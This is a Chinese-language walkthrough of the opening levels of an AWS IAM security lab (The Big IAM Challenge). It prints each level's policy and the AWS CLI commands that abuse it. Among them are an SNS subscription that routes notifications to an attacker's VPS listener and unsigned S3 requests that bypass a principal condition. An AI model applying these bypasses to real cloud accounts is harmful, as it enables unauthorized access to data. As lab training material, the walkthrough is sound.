链接：https://bigiamchallenge.com/challenge/1

第1关

IAM是Identity and access management的简称，即身份和访问管理服务，是云厂商提供的一种用于帮助用户安全地控制对云上资源访问的服务。简言之就是一套访问云上资源的鉴权系统。

靶机IAM策略：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}

从json不难发现其策略特别宽松，可以ListBucket和GetObject，且资源为arn:aws:s3:::thebigiamchallenge-storage-9979f4b，即thebigiamchallenge-storage-9979f4b这个bucket。

访问https://s3.amazonaws.com/<存储桶名字>，即https://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/

可见Contents下有files/flag1.txt和files/logo.png，直接访问https://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/files/flag1.txt即可得到flag1。

第2关

查看策略：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",
                "sqs:ReceiveMessage"
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}

可见其允许sqs:SendMessage和sqs:ReceiveMessage，且资源为arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2，即wiz-tbic-analytics-sqs-queue-ca7a1b2这个队列。

队列URL格式为：https://sqs.<region>.amazonaws.com/<account_id>/<queue_name>，即https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2

在它提供的在线shell中输入命令：

1
aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2


第3关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
    "Version": "2008-10-17",
    "Id": "Statement1",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "SNS:Subscribe",
            "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
            "Condition": {
                "StringLike": {
                    "sns:Endpoint": "*@tbic.wiz.io"
                }
            }
        }
    ]
}

查看IAM策略，可见其允许sns:Subscribe，且资源为arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications，即TBICWizPushNotifications这个主题。
它要求订阅者的Endpoint为*@tbic.wiz.io。本意是指定为特定邮箱地址，但是可以绕过为某HTTP地址，如http://VPSIP:8888/@tbic.wiz.io
在VPS上监听8888端口，访问http://VPSIP:8888/@tbic.wiz.io，即可得到flag3。
在在线shell中输入命令：

1
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://VPSIP:8888/@tbic.wiz.io


访问SubscribeURL即确认订阅。再次监听8888端口，即可得到flag。

第4关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                },
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
                }
            }
        }
    ]
}

查看IAM策略，可见其允许s3:GetObject和s3:ListBucket，且资源为arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321，即thebigiamchallenge-admin-storage-abf1321这个bucket。但是ListBucket要求权限admin，且路径为files/*。

如果请求中没有上下文键或者上下文键值解析为空数据集（如空字符串），则也会返回 true。
所以构造空请求绕过之。

1
aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request

1
aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp --no-sign-request

第5关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "mobileanalytics:PutEvents",
                "cognito-sync:*"
            ],
            "Resource": "*"
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:ListBucket"
            ],
            "Resource": [
                "arn:aws:s3:::wiz-privatefiles",
                "arn:aws:s3:::wiz-privatefiles/*"
            ]
        }
    ]
}

可见，该策略是一种基于身份的策略，而非基于资源的。
（未完待续……）